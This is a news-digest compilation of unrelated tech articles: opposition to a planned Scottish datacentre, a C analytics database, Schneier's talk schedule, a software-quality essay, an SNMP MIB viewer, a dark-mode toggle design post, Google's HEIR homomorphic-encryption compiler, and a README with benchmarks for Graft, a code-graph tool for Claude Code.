Original Article

Please enable JS and disable any ad blocker

Scottish police expect ‘great deal of public opposition’ to planned Larbert datacentre

Guardian
www.theguardian.com
2026-08-14 12:05:31
Planning consultation told ‘robust security measures’ will be needed amid growing resistance to such developments Scottish police have warned that a proposed datacentre will require “robust security measures” to prevent “incursion” amid growing public resistance to such developments in Scotland. “A ...
Original Article

Scottish police have warned that a proposed datacentre will require “robust security measures” to prevent “incursion” amid growing public resistance to such developments in Scotland .

“A great deal of public opposition is likely” to a datacentre planned in Larbert , about 30 miles west of Edinburgh, the Scottish police have said in a letter submitted as a part of a planning consultation earlier this month.

The letter encouraged the site’s developer, a planning consultancy called Apatura, to liaise with the police to “prevent unplanned incursions for the purposes of disruption”.

The letter appears to be one of the first official acknowledgments of mounting public unease about datacentre development in the UK. The Scottish police declined to comment.

There are hundreds of datacentre projects in various stages of planning in Britain. Only some of these appear to be viable developments, with research groups warning of a glut of “ zombie projects ” waiting to connect to the grid.

These questions are particularly acute in Scotland, where there are at least 23 “hyperscale” datacentre developments in the planning process, according to the Edinburgh-based charity Action to Protect Rural Scotland (APRS). Combined, they would use more than one and a half times the power that Scotland uses at peak demand.

A young man and women hold handpainted cardboard signs and stand in front of a black banner that reads ‘Say no to AI Data Centre’ which is fastened on a metal fence. Their signs read ‘Ram it up ye!’ and ‘Act now, pull the plug on AI’.
Nearly 7,000 people have filed objections to the proposed datacentre in Larbert. Photograph: Larbert residents group

Groups across Scotland have started organising opposition to planned datacentres. A protest in Larbert on Thursday drew over 100 people, according to local campaigners. Nearly 7,000 people have filed objections to the proposed development.

Similar protests are planned in the coming weeks, including one in Edinburgh in early September, when the Scottish parliament will be back in session.

This summer, the Scottish National party passed a motion to freeze all new datacentres in Scotland. If that motion becomes Scottish government policy, it could pose a serious threat to the UK’s AI strategy . British officials have been pushing datacentre developers to build in Scotland.

skip past newsletter promotion

Some of the opposition to datacentres is about the physical footprint of the projects. Michael Maciocia, a Larbert resident who attended Thursday’s protest, said he and others were worried about the 200 diesel generators that Apatura planned to install as backup power for the datacentre.

APRS is concerned that these could release significant quantities of nitrous oxide into the air, which could negatively affect the health of the people living nearby.

“Where this datacentre is planned to be built, within 50 metres of one of the buildings is a 56-bed care home for the terminally ill … Within 400 metres, there’s the 860-bed Fulton Valley Royal hospital,” said Maciocia. “The amount of pollution and the noise created by these things will be horrendous in every direction.”

People hold signs with messages including ‘keep our bees buzzing’, ‘protect our residential amenity’ and ‘defo no to AI in bonnie Scotland’.
Campaigners in Larbert are concerned about the potential health and environmental impacts of the proposed datacentre. Photograph: Larbert residents group

“I live extremely close to the proposed site, and since this application was submitted it has become a huge part of my life,” said Hazel McQueen, who says she has spent hours on top of her full-time job reading about the datacentre, attending meetings, and helping to organise opposition to it.

She says she is concerned for the health of her family, and of her grandson who has leukaemia. “I need to fight this for his future and the future we are leaving for him.”

Cecilia Rikap, a professor at University College London, says there is a larger, symbolic dimension to public anger around datacentre development.

“It’s the physical manifestation of AI, and there is a growing opposition to AI. People are seeing how AI is replacing the good part of their work, people are seeing how AI is undermining younger people’s capacity to think,” she said. “Ultimately, if you want to protest against generative AI or the role of big tech, you would protest at a datacentre. That’s what you can see. All the rest is much more invisible.”

A spokesperson for Apatura said: “We’re committed to developing data centres in line with world-leading safety and environmental standards and in compliance with all planning regulations. We recognise that there has been opposition to the planning application and remain committed to working closely with government and local community throughout the planning process to ensure concerns are listened to and carefully considered.”

RayforceDB – a pure C analytics database with a Lisp-like syntax

Hacker News
rayforcedb.com
2026-08-14 12:02:20
Comments...
Original Article

Open source · Pure C · Zero dependencies

Analytics and graphs.
One fast engine.

Rayforce fuses columnar analytics, graph traversal, and recursive queries into one embeddable execution pipeline—built for teams that measure latency in microseconds, not meetings.

; 100,000 deterministic market rows
(select {from: trades
         where: (> qty 100)
         by: symbol
         trades: (count qty)
         notional: (sum (* price qty))})

Loading 100,000 rows

  1. Load 100K rows
  2. Optimize rewrite DAG
  3. Filter 60K match
  4. Group 4 symbols

symbol trades notional

NVDA 15,000 1,181,242,500

GOOG 15,000 1,191,143,000

AAPL 15,000 1,176,404,200

MSFT 15,000 1,185,774,600

One execution model

Stop moving data
between engines.

Relational operators and graph traversals belong in the same plan. Rayforce sees the whole workload, rewrites it together, and keeps the hot path close to the metal.

Explore the execution pipeline

01

Compose

Tables + graphs + rules

Lazy DAG
02

Optimize

Rewrite the whole plan

Multi-pass
03 Bytecode
04

Execute

Stream cache-sized morsels

Parallel

16K lines of focused C

0 external dependencies

IPC client/server transport built in

MIT licensed and embeddable

Rayfall language

Ask complex questions.
Keep the syntax small.

Use Rayfall interactively, embed the C API, or connect through a growing set of client interfaces. Every surface reaches the same optimizer and execution core.

One engine, three surfaces

; Aggregate high-value flow, then traverse counterparties
(set flow
  (select {from: trades
           where: (> Notional 1000000)
           by: Counterparty
           Volume: (sum Notional)}))

(.graph.var-expand network flow 1 3)

EXAMPLE RESULT 5 rows · optimized

Counterparty Depth Volume

LYNX_02 1 84.20M

ALPHA_17 2 61.08M

NODE_08 2 44.71M

FORT_04 3 27.19M

EDGE_12 3 12.42M

Rayforce in the wild

Built for real work,
not synthetic demos.

Rayforce is already part of production systems and open-source projects spanning trading, market connectivity, investment analytics, and risk.

Usage confirmed by the Rayforce project. Consumer names link to their public sites.

Rayforce Cloud Coming soon

The engine you can embed.
The platform you won’t have to operate.

We’re bringing Rayforce’s unified analytics and graph pipeline to a managed cloud experience—so teams can move from local prototype to production workload without rebuilding the data path.

RAYFORCE / CLOUD PREVIEW

QUERY SERVICE Preview

ENGINE Managed

Open at the core

Read every line.
Own every workload.

One codebase. One public header. No external runtime. Clone Rayforce, compile it, embed it, and keep control of your data path.

GitHub stars

forks

Linux · macOS supported today

Upcoming Speaking Engagements

Schneier
www.schneier.com
2026-08-14 12:01:59
This is a current list of where and when I am scheduled to speak: I’m speaking, signing books, and participating in panel discussions at LAcon V in Anaheim, California, USA. My full schedule is here. I’m speaking online (via Zoom) at a League of Women Voters event on Tuesday, September 22, 20...
Original Article

This is a current list of where and when I am scheduled to speak:

  • I’m speaking, signing books, and participating in panel discussions at LAcon V in Anaheim, California, USA. My full schedule is here .
  • I’m speaking online (via Zoom) at a League of Women Voters event on Tuesday, September 22, 2026, at 5 PM ET.
  • I’m speaking at Elevate Festival in Toronto, Canada. The conference runs September 22–24, 2026; my talk is on Wednesday, September 23.
  • I’m speaking at CanSecWest 2026 in Vancouver, Canada. The conference runs September 30–October 1, 2026; the time of my talk is TBD.
  • I’m speaking at ATTENTION: Democracy, Rebuilt in Montreal, Canada. The event runs October 21–23, 2026, and my talk is on Wednesday, October 21.

The list is maintained on this page .

Tags:

Posted on August 14, 2026 at 12:01 PM 0 Comments

Sidebar photo of Bruce Schneier by Joe MacInnis.

AI by Hand

Hacker News
www.byhand.ai
2026-08-14 11:58:59
Comments...
Original Article

Math, Algorithms, Architectures, by hand

By Prof. Tom Yeh

· Over 73,000 subscribers

By subscribing, you agree Substack's Terms of Use , and acknowledge its Information Collection Notice and Privacy Policy .

Guilt-Driven Development

Lobsters
markuseliasson.se
2026-08-14 11:54:54
Comments...
Original Article

A few weeks ago, the day before Midsummer, I went on my summer holiday. I merged my last pull requests and shut down my computer, looking forward to a few weeks of relaxing.

Come Midsummer morning, I checked my work emails 1 and I noticed that a failure had been reported earlier that day for one of the services I maintain.

Damn it! The failure was regarding an HTTP endpoint, and among the last few changes I made before shutting down was to migrate some of our endpoints to newer technology.

I absolutely hate this feeling. Someone innocent, who was not fortunate enough to be free on Midsummer, could not do their job. Or at least that was what I thought. I made some coffee and booted my computer again - I needed to take a closer look at this error before I would be able to relax enough to start our celebrations 2 .

When investigating the error, it turned out to be a false alarm. The failure was real, but it was bot traffic that caused it, not "real" traffic, and the error had nothing to do with my changes. Phew!

Still, the request should not have caused an error to be reported (bot or not). That needs to be adjusted, but it is not urgent. I added some comments to the error and once again shut down my computer to celebrate Midsummer.

This got me thinking: what is the essence of that bad feeling, and what do I do to avoid it?

Guilt

Whenever I introduce an error in production I feel guilty - I have let someone down. Someone was trying to accomplish something using the software I have built (or been part of building) and they could not do it. Something that worked yesterday is no longer working.

Maybe the task the user tried to accomplish was critical to them? Could this failure stop them from doing their job? What about their income, or their customers? What is the extent of my failure?

You see, failure cascades across domains and organisations. I like to think of it like ripples on the water. Throw in a stone (an error) and it will ripple across the surface. How many rings? It depends on the shape of the stone (error). And like ripples on the water, the effect eventually fades out, but there might be an awful lot of rings.

Failures also scale, in the bad way. How many of your users are suffering from these - one, a hundred, thousands? That might be a lot of rings.

Many years ago, I was involved in a project that made a big-bang release 3 . Everything was running smoothly until it didn't. The project manager called me and said that the point-of-sale systems of a thousand shops were down. I asked of how many. A thousand, he said. Fortunately this was detected in the evening and not during prime time. My colleague and I stayed up all night reverting the change everyone thought was causing the outage (we were not sure, we had basically no automated tests). Later, it turned out that there was an infrastructure change made as well, which was most likely causing the problem, but no one knew for sure.

That was the worst day in my professional life.

Neglect

The world is full of crap software - we have all experienced this. Poorly designed "solutions", or unstable software we have to use.

Poor software is such a waste of money and/or a missed opportunity. But what really annoys me is bugs, when things just don't work. Or when you are forced to work around a system to perform your task!

Suggesting a workaround as a fix has almost been normalised these days. This is ridiculous, a workaround is NOT a fix!

Time. Time itself is infinite, but for each person and organisation it is finite, and very precious. This is true for all persons. Then why are we (as software makers) so disrespectful of others' time?

Value. Software is supposed to add value; when software fails to deliver what it is supposed to, the value is not zero, it is negative! The user needs to compensate for the malfunctioning software with, you guessed it, their time.

Guilt-Driven Development?

I do not remember where I first heard this term (I guess a lot of people might have independently coined it), but I like it.

You should not (and should not be forced to) deliver something that gives you guilt, guilt of not being done, not being robust, not being maintainable, etc.

That feeling of guilt I felt at Midsummer is something I'd rather avoid, and I do so by following my four T's. Thinking, Types, Tests and Telemetry .

Thinking

This might come as a surprise to you. Everybody thinks, right? Right? Well, no. I have both fallen into and seen others fall into the trap of immediately bringing out the keyboard and starting to chisel away at the solution.

For me, the absolute best way to increase the quality of a solution is to present it to someone else and get their feedback. Depending on the size of the thing I am working on, I either:

  • Have a peer-to-peer meeting with someone in my team, communicating what the task is about and how I intend to solve it. This covers both how it will work from a user perspective (black box) and technically how it is implemented (white box).
  • Write a solution description document containing the same things, and then have multiple people give feedback on it.

I have been consciously vague on who and what to review. Best is, of course, when both a domain expert and a fellow technician give feedback. But sometimes the task at hand is reasonably clear enough that one of them will do.

What should they review? Well, that is up to you. I do not believe in formality, strict processes, or tollgates. I most often include:

  • Why is the change needed?
  • How will I implement it?
  • How will compatibility be handled?
  • How will the user interaction work?

Thinking before any code is being ~~written~~ prompted has some benefits:

  • As the well-known (but hard to attribute) quote says, "Writing is nature's way of letting you know how sloppy your thinking is." .
  • Getting feedback on whether you got the "why" right.
  • Getting feedback on whether this is a reasonable technical solution.

Turns out that whenever I skip this step, the risk of me misunderstanding or missing a technical detail is pretty high. And changing software down the road is almost always more expensive than doing it right the first time.

Types

I remember the first time I heard of Ruby's method_missing . I thought it was proper crazy 4 !

Throughout the years I have programmed in a lot of different languages. There was a time when I favoured dynamically typed languages such as Python and Clojure. For the last ten years or so I have been pretty set that statically typed languages are better suited for most teams and most problems.

But types are not only about the presence of types, it is how you use these types.

The language Elm (and possibly others) has this saying:

Make Impossible States Impossible

When you design your program using types, you should try to eliminate problems at a design level. This is the opposite of the saying in dynamically typed languages:

If it looks like a duck, swims like a duck, and quacks like a duck, then it probably is a duck. 5

Probably is not good enough, and it is being evaluated at runtime. Most certainly, not all functions or call sites will put in the extra effort to ensure that the type is correct. This is easily forgotten. With a statically typed language and a compiler, it is always there, you do not have to do it manually.

The help of a compiler is only a minor part of the benefits, though. The real benefit comes from the design. By using types to represent things in the domain using Aggregates, Value Objects, Algebraic Data Types, etc., you can rule out a lot of errors and mistakes already at compile time, when you have all the time in the world to make it correct before the first user even comes close.

The amount of bells and whistles your type system offers is quite different between each programming language. But there are a few things that are almost universal.

Value objects - small, immutable types that represent a thing in the domain rather than a data type.

Type invariants - types that guarantee a rule or condition for a type. E.g. that the title of a Blog cannot be empty.

Data Transfer Objects - use differently shaped types suitable for other systems, such as HTTP, queue messages, etc.

Mapping - use many types and map between them where needed. E.g. let the validation map a DTO representing an HTTP API payload to a type with stronger guarantees (such as input used at the service layer).

I feel that a lot of people wrongfully consider some of these concepts as "enterprise software" and too verbose and cumbersome to use in "modern" software. This is unfortunate, and while I think some of the criticism of "enterprise software" is correct, the blame is not on the concept of types, but on how they were designed and used (e.g. annotations, reflection, auto-mapping). It would be like blaming Perl for all the bad scripts you have run!

Tests

I have written about tests before , and consider the time in my career before I used TDD my "dark ages."

Well, you do not have to use Test-Driven Development if you do not want to, but you have to have tests! I think that developing software without tests is the peak level of arrogance toward your users.

I always have unit-tests for any code I write 6 as a bare minimum sanity check. All my code has some sort of service-level tests (which, in my way of working, are close to integration tests) as well, though not for all variants. And I add integration tests where suitable.

Having tests ensures that your implementation is actually working as expected. But they also help your teammates, and the future you , to avoid making bad assumptions and causing regressions you have not thought of.

Implementing tests for all types of situations and input I can think of as part of the development process is a true game changer. It forces you to think about input validation, error handling, etc.

Learning to write good tests is hard, but I would say it is one of the best-returning investments I made in my career.

Telemetry

Once I have covered what I can think of ahead of time, I add logging or similar to any corner case or failure that I want to be made aware of.

Sometimes a state might be a theoretical one, or at least very unlikely to happen. You want to capture any such situation, if it occurs. Maybe your "this will never happen" 7 reasoning proved wrong after a seemingly unrelated change?

Also, always capture failures from clients such as web browsers. Whenever something is not working, you want to know this as soon as possible so that you can fix it!

And like the Midsummer error, it is important to dial in what counts as an error and what does not. You do not (like me) want to be stressed out by noise!

Agentic disclaimer

Given the present time, I might as well preempt some feedback right here. Using AI and agentic coding does not make any difference here. The four T's are just as important as before, if not even more so!

Thinking - agents give you the illusion of competence. Do not outsource your thinking to agents. By all means, rely on agents to help you think. And you should still rely on another human to review your approach.

Types - using well-defined types and keeping impossible states impossible is really helpful in order to utilise agents to the fullest. When you have well-defined boundaries that the agent can lean on, it produces better code, in my opinion.

Tests - having the agent use existing tests as guardrails, and provide new tests for future sessions, is, in my opinion, a MUST in order to use agents for coding. There are far too many assumptions and illusions that do not hold true, tests make this a much smaller problem.

Telemetry - nothing to add, really. You want to capture all errors, regardless of how the code was produced.

Flawless?

So, if I use these fantastic ideas when developing software, how come I still had to boot up my computer on Midsummer?

Types and tests are still only your thinking, only more formalised. Sometimes my thinking is incorrect. Sometimes my tests are incorrect or insufficient. Other times my types are too weak. Everyone makes mistakes.

However, when an error happens, I always add a new test that reproduces the problem, then I implement a fix. Damn if I would let the same error happen twice!

Part of fix is to take a step back and see if the design is flawed (the thinking), or if the types can be adjusted to prevent this from happening again?

This was my attempt to describe how I try to avoid the guilt of disappointing my users. I would be super happy to hear what you do, where you think I can improve my process, or anything else that is on your mind!

Please e-mail me with your thoughts, and thank you for reading.

Show HN: Online SNMP MIB database - upload/view your own MIBs

Hacker News
mib-viewer.com
2026-08-14 11:49:33
Comments...
Original Article

Search, upload, browse, or download from a database of over 11,000 SNMP MIBs. MIB Viewer lets you look up any MIB object by name, OID, or number, view its syntax, access level, and description, trace its place in the MIB tree, and generate ready-to-run SNMP commands — all in your browser.

What's a MIB?

A MIB (Management Information Base) is a structured document that defines the data a device exposes over SNMP — things like interface counters, system uptime, or CPU load. Each module declares a set of named objects, organized into a tree.

What's SNMP?

SNMP (Simple Network Management Protocol) is how network devices — routers, switches, servers — report status and statistics to monitoring tools. It's the protocol; MIBs are the vocabulary it uses to describe what's being asked for.

What's an OID?

An OID (Object Identifier) is the numeric address of one piece of data in a MIB — a dotted sequence like 1.3.6.1.2.1.1.1, read from the root of a global tree down to one specific object. Names are easier to read; OIDs are what's actually sent over the wire.

Try it: sysDescr (1.3.6.1.2.1.1.1) →

Get started

Search for a MIB or OID above, or pick one from the list on the left.

Have your own MIB file? Drop it on the upload zone in the sidebar (or click to browse) to parse and explore it right away — it stays private to this browser session and isn't added to the shared library.

"Solving a largely imaginary user goal"

Hacker News
unsung.aresluna.org
2026-08-14 11:48:59
Comments...
Original Article

On her blog, Lea Verou makes a case that each user-facing website dark-mode toggle should only ever show two options , but in a smart way.

The challenge is that any dark mode toggle needs to actually accommodate three options: dark, light, and the default “whatever the system says” (which can be always dark, always light, or change with the time of day ). Many toggles simply pass that complexity onto the user:

I want to get something out of the way: I don’t think Verou’s article as an article is fully successful. I feel like it spends a great amount of words to explain something not entirely as complex, and even the interactive playgrounds felt slightly too rigid and altogether confusing. If you care about (interactive) explainers, it might be an interesting case study in and of itself.

But I am very much much on board with the proposal and the line of thinking it represents. Verou suggests a “smart” dual state toggle, which still allows the website to follow the system, but shoves the complexity of the “whatever the system says” branch into the crevices between visible UI. Here’s how I understand it:

  • The smart toggle only has two options: light and dark. Mechanically, clicking or tapping the toggle brings you to the opposite option. Simple.
  • If your new option is the opposite of system (e.g. you switch the page to dark mode if your system is in light mode), it will stay in that theme forever, no matter what the system does in the future.
  • If your new option is one that currently matches the system, it will then continue following the system in perpetuity (e.g. it’s back to the default behaviour).

This toggle will feel compromised, and you might immediately find some rare use case it doesn’t fully support – maybe attached to an imaginary user, or even an internal user giving you feedback in person. But Verou is absolutely correct in her insistence to fight through that:

Tri-state toggles are implementation-driven UI. One of the most common UX mistakes is designing UI around the underlying data model instead of user goals. Good interfaces abstract away the underlying model and expose a model that aligns with user goals (unless of course these happen to coincide, which is rare).

Now, it’s just a dark mode toggle. It might not seem like a difference between a smart dual state toggle and an explicit tri-state toggle is that much. But:

  • “Whatever the system says” is not just one extra option. It’s also one extra weird option. It doesn’t feel like the other two. It’s seemingly repetitive. It’s often unclear what it does before clicking. It’s not obvious where to put it in order. Verou doesn’t mention this in her post, but even just seeing the word System next to Light and Dark feels complicated. (Auto is slightly better.) The cognitive load here might be larger than it seems.
  • What is an interface if not a collection of a million challenges, each one seemingly insignificant on its own? Trivial things add up. One compromise here and one cheap decision there, and soon you’re talking real money.
  • Thinking deeply about something like this gives one practice for dealing with complexity elsewhere, and facing even more difficult challenges where the stakes are higher and the compromises larger.

A similar example might be that of PC keyboards in the late 1990s, which also exposed system complexity and pestered people with Power/​Sleep/Wake keys:

Computers do not do that anymore, simply having a smarter singular power button, piped to a more sophisticated logic underneath.

Google is making private AI practical with homomorphic encryption

Hacker News
blog.google
2026-08-14 11:43:10
Comments...
Original Article

Today we're excited to showcase HEIR , the latest powerful tool added to our Private Computing Toolkit. HEIR is an open source compiler that unlocks cryptographically-secure private AI inference.

Homomorphic encryption

As new benefits emerge with the growth of AI, balancing privacy and security is top of mind. Standard protections like end-to-end encryption present a trade-off: user-data can be protected from data breaches, but then the service provider cannot provide features that depend on the data, such as spam or virus detection. Critical sectors like healthcare and finance are even more averse to these risks, and strict regulations limit data sharing across institutions. Alternative mechanisms to provide the same features, like local processing, are limited by the capabilities of the local device and the sensitivity of the service provider's IP. Shipping proprietary AI to a device risks leaking the model.

A solution to these issues is homomorphic encryption , a rapidly maturing technology that fundamentally alters this trade-off by allowing computations to be performed directly on encrypted data. Servers can process ciphertexts and return encrypted results without exposing any underlying information. For example, a cloud service can provide content recommendations without being able to see the user's features. This is no exaggeration: one of the demos featured in this post does exactly this. But while homomorphic encryption has a nontrivial cost overhead, it shifts the capability/privacy trade-off to a question of cost. And the cost of homomorphic encryption is rapidly decreasing.

Google’s history of innovations in privacy technology—from differential privacy and private set membership to private information retrieval and secure enclaves on Google Cloud —has always focused on securing user data. Homomorphic encryption is another powerful tool we're adding to our private computing toolkit. Like private information retrieval, and in contrast to hardware-based solutions, homomorphic encryption's strong security and privacy guarantees are purely cryptographic. However, manually converting an existing program to use homomorphic encryption efficiently requires a team of cryptographers.

About HEIR

To overcome the usability challenges and advance the opportunity homomorphic encryption provides, researchers and engineers at Google built the HEIR compiler project . HEIR (Homomorphic Encryption Intermediate Representation) is an open-source compiler toolchain and development platform for homomorphic encryption. In particular, HEIR can convert pre-trained AI models that operate on unencrypted data to operate on encrypted inputs. Our vision is to make HEIR a one-click solution to enable non-experts to incorporate encrypted inference into production applications.

Since announcing our intentions in 2023 , we’ve seen the homomorphic encryption community embrace HEIR. We have partnered with companies developing hardware accelerators for homomorphic encryption, including Belfort , Niobium , Cornami , and Optalysys . The fruits of those efforts are shown in our demos below, and we plan to demonstrate the latency benefits of these accelerators in the near future. HEIR has also become a productive research platform. By building on HEIR, cryptographers can focus on their specific optimization and use the existing infrastructure for testing, benchmarking, and comparisons. This has resulted in collaborations with Georgia Tech, Carnegie Mellon, UC Santa Barbara, Illinois Institute of Technology, Purdue, the University of Edinburgh, Tsinghua University, and others. To date, four peer-reviewed publications were built on HEIR, with more in preparation, and HEIR has accumulated numerous citations .

Applications of HEIR

To demonstrate how far homomorphic encryption has come, we’re sharing four private inference applications. Each application was compiled with HEIR, and latency numbers are presented for a single-threaded CPU. The source code for all examples is available in our GitHub repository .

  • A Deep Learning Recommendation Model unlocks serving private content recommendations, joint work with Belfort Labs , LG , and New York University .
  • Credit card fraud detection: Together with Niobium and hardshell.ai , we compiled a credit card fraud detector.
  • Threat intrusion: Together with Niobium we compiled the Kitsune system for anomaly detection of encrypted network traffic. This allows a service provider to detect anomalies without revealing the contents of network packets to the service provider.
  • Hotword Detector: Together with Belfort Labs we compiled a hotword detection model, which could allow an audio-triggered AI agent to recognize hotwords while protecting the privacy of the audio recordings.

As the software industry adapts to security and privacy changes amid AI, our research team is working to make homomorphic encryption, easy to develop, fast to run, and ubiquitous across industry.

Show HN: Graft – Claude Code hooks that cut grep tokens by 42%

Hacker News
github.com
2026-08-14 11:22:02
Comments...
Original Article

Side-by-side comparison of a coding agent working with and without graft


Contents


Quick start

npm install -g @nanonets/graft   # install the CLI, once
graft init                       # build the graph + wire it into Claude Code

That is the whole setup. graft init asks which of your coding agents to wire up, builds graft/ from your code, and drops a statusline and hooks into .claude/ , so from the next session on Graft rides along in Claude Code: it pulls the matching nodes into each prompt and rebuilds the graph in the background after every turn. No daemon, no re-indexing to remember, nothing to run or maintain by default — the graph is just files.

Nothing is written until you pick. Run graft init --dry-run to see every file it would touch first, or graft init --agents claude to skip the prompt and wire Claude Code alone.

graft build adds graft/ to your .gitignore automatically — the graph is a local, regenerable cache (like node_modules ), not something you commit. What you share is the wiring init dropped into .claude/ ; each teammate runs graft build to generate their own graph:

git add .claude && git commit -m "wire in graft"

Prefer not to install globally? npx @nanonets/graft init works the same way.

Two commands — npm install and graft init — then Graft rides along in a Claude Code session, statusline synced


The problem

Every task, your coding agent starts blind. Before it changes anything, it re-explores the repo: grep a term, open a file, follow an import, back out, try again. It is rebuilding a picture of a codebase it mapped an hour ago and threw away. That rediscovery burns most of a run's tool calls, tokens, and latency, and it is pure overhead:

  • Repeated. Every task pays the exploration cost again, from zero.
  • Discarded. Whatever the agent figured out dies with the session.
  • Unshared. The next teammate, and their agent, start from scratch too.

Humans onboard to a codebase once. Agents onboard every single time.

A no-map agent's exploration trail wandering file to file before it finds what it needs


What Graft does

Graft builds that understanding once and writes it into your repo as a folder of linked markdown files, one node per system, API, or concept.

  • Real explanations, not a list of symbols. Each node says, in plain English, what a part of the system does and how it connects to the rest, the way a senior engineer would explain it. That is the part an agent actually needs so it can skip the exploration. It is not a dump of function names.
  • A real graph you can read. No embeddings, no similarity search, no index to keep warm. The graph is a set of linked files your agent opens, greps, and follows, exactly the way it reads any other file in the repo.
  • Grafted into git. The graph is just files in graft/ . Commit it, and anyone who clones the repo has it. No database, no server, no setup. Git does the syncing, and a stale graph shows up as a diff in review instead of rotting in some external store.
  • The diff lives with the code. When a change moves things around, you see it in the graph diff in the same pull request, right next to the code that caused it.
  • Your provider, your key, your model. Summaries are written by any provider you choose — OpenAI, Anthropic (native), OpenRouter, Fireworks, Groq, a LiteLLM proxy, or a local model — under your own key. The structural code graph ( graft build , graft check ) is deterministic tree-sitter and never calls a model at all.

The same task, 'fix the auth bug', run two ways. A cold Claude Code session re-reads the repo and wanders file to file; Claude Code + graft loads its map once and rides the hooks to one clean pass. With Graft: 46% fewer tool calls, 42% fewer tokens, 60% less time, +22% more SWE-bench instances resolved.


Benchmark

An agent that reads the graph should be cheaper and faster without getting more answers wrong. That's the whole claim, so we measured it instead of asserting it.

The harness ran three variants of the same Claude Sonnet 5 agent with the same file tools: cold (explores from zero), Graft (a graft ask --source bundle pushed up front), and pull (graft_find_code/graft_file_api tools, nothing injected — context paid for only when asked). An Opus 4.8 judge scored correctness with a required-keyword floor, so a fast-but-wrong answer couldn't win by being fast. Cost is cache-aware: reads ≈0.1×, writes 1.25×, the billing model agents actually run under.

162 runs, two repos (graft itself and a real Node/Express auth service), 3 trials each, tasks split between single-file and multi-file questions.

Metric (mean/task) Cold Claude Code Claude Code with graft
Cost savings ($) 0.0429 0.0292 (+32%)
Token savings 8,070 4,650 (+42%)
Tool-call savings 4.2 2.3 (+46%)
Latency savings (s) 39.8 15.8 (+60%)
Correctness 93% 93% (equal)

Graft never answered worse than cold, on any corpus. The pull variant gave up most of that speed for something bigger: correctness jumped to 98%, +5 points over cold, the strongest single result in the sweep. Push when speed is what you need; pull when being right matters more.


SWE-bench Verified

The sweep above is our harness measuring our mechanism. So we ran the industry-standard one too — SWE-bench Verified , real GitHub issues from real repos, graded by the official swebench harness. No judge model, no similarity score: your patch is applied, the maintainers' own tests are run, and you either flip the failing test without breaking the passing ones or you don't.

50 instances , same model on both arms — Claude Sonnet 5 — same Docker images, same turn limits. The only difference is whether graft is wired in.

Correctness & efficiency Cold Claude Code Claude Code with graft Improvement
Correctness 27 / 50 (54%) 33 / 50 (66%) +12 pts
Token savings 142.0M 109.4M +23%
Cost savings $52.34 $42.43 +19%
Tool-call savings 1,370 1,031 +25%
API-request savings 2,455 1,875 +24%
Wall-clock savings 13,094s 8,922s +32%

graft resolved 33 of 50 instances against Cold Claude Code's 27 — and got there with 25% fewer tool calls, 23% fewer tokens, and 32% less wall-clock time. Every correctness win has the same shape: the baseline patches one file and misses its siblings. On django-11532 it patched 1 of the 5 files the fix requires and broke 18 previously-passing tests, twice over. On django-16263 it patched 1 of 4 and scored 102 / 103. graft found the rest — and on django-16263 did it in half the tokens and half the time.

Two harnesses, two claims: the controlled sweep says graft is cheaper and faster, SWE-bench says it's also more correct.

Correctness over all instances; tokens, cost and calls over the instances both arms resolved, for a like-for-like comparison. Official SWE-bench Verified images and official swebench 4.1.0 grader, native x86_64.


How the graph gets built

Graft builds the graph in two passes, both powered by a language model:

  1. Read each file. Every source file is summarized once into a short description of what it does.
  2. Group into nodes. Those summaries are grouped into a curated set of nodes (subsystems, key files, and concepts) with typed links between them. Graft chooses the right level of detail for you instead of making one node per file, so a big repo becomes a few dozen readable nodes.
flowchart LR
    S[Source files] --> T["Tier 1 — tree-sitter<br/>no model, no key"]
    S --> P1["Pass 1 — LLM summarizes<br/>each file (--deep)"]
    T --> W["graft/.graph/wiring.json<br/>per-symbol code graph"]
    P1 --> P2["Pass 2 — group into nodes<br/>+ typed links"]
    P2 --> N["graft/*.md<br/>markdown node graph"]
Loading

Every pass is cached by content hash — the LLM ones and the tree-sitter parse alike. Re-running only touches the files that changed, so the second build is fast and cheap (on this repo, 124 files: 0.74s cold, 0.18s after one edited file, 0.18s with nothing changed). graft build --no-reuse forces a cold re-parse.

That cheapness is what lets every query refresh the graph before it answers . A retrieval call stats the tree against the last build's fingerprint (~3ms), and rebuilds only if something moved — so ask / grep / callers / skeleton / map describe the code as it is right now, including edits that are unsaved to git: uncommitted, unstaged, or staged all look the same to graft, which never reads git at all. The refresh is structural and $0 ; it never calls the LLM. Turn it off per-command with --no-refresh , or everywhere with GRAFT_NO_REFRESH=1 .

Alongside the markdown graph, graft build builds graft/.graph/wiring.json — a per-symbol code graph — plus a per-file wiring card mirroring your source tree. Tier 1 is pure tree-sitter (every function, class, and call edge; deterministic, no model, no network), which is why plain graft build needs no key. The --deep pass adds a one-line summary and a crux excerpt per symbol, cached by body hash.


Supported languages

Graft parses with tree-sitter at two levels of fidelity, plus an optional compiler-grade layer — all $0 and deterministic (no model, no key):

  • Full-fidelity — hand-written extractors with scope-aware, cross-file call and import resolution: TypeScript / JavaScript (incl. JSX & TSX), Python , Go , Java .

  • Broad — symbols (functions, classes, methods, types, …) plus name-resolved call edges via a generic tree-sitter extractor, one grammar per language: Rust, C, C++, C#, Ruby, PHP, Kotlin, Scala, Swift, Elixir, Solidity, OCaml, Zig, Dart .

  • Compiler-grade edges (opt-in) graft build --lsp adds precise lsp_resolved call edges (member calls the static pass can't type) when a language server is on your PATH : rust-analyzer (Rust), clangd (C/C++), gopls (Go), pyright (Python), typescript-language-server (TS/JS). It's best-effort — with no server installed the graph is unchanged.

Twenty languages in total. A file whose language isn't listed is skipped, not indexed. Adding a broad-tier language is a small contribution — see CREDITS.md for the folks who added the current set.


What's in a node

A node is a single markdown file. Most code maps stop at an address: this thing lives in that file, on that line. That tells an agent where to look, not what it will find, so it still has to open the source and read. A Graft node holds the meaning inline, so the agent learns what it needs up front and opens the file only when it wants more.

Each node holds:

Part What it holds
Summary A plain-English explanation of what the code does, written by the model and cached. It is there whether or not the code was ever documented, and it is regenerated when the source changes.
Crux The handful of lines that actually carry the logic: the guard, the skip condition, the state change. Lifted straight from the source and stored inline, so the agent sees how it works, not just what.
Sources The exact files the node is built from, each tracked by a content hash, so Graft can tell precisely when a node has gone stale.
Links Typed connections to other nodes ( depends_on , part_of , uses , implements , produces ), written as [[wikilinks]] your agent can follow.
Notes Anything you write below the generated block. It is preserved across regenerations, so your own context is never overwritten.

That is three depths in one file: the summary says what the code does, the crux shows how , and the sources point to the rest if the agent needs it. A plain index makes it read a whole file to learn one thing. A Graft node hands it the answer inline, and the follow-up read often never happens.

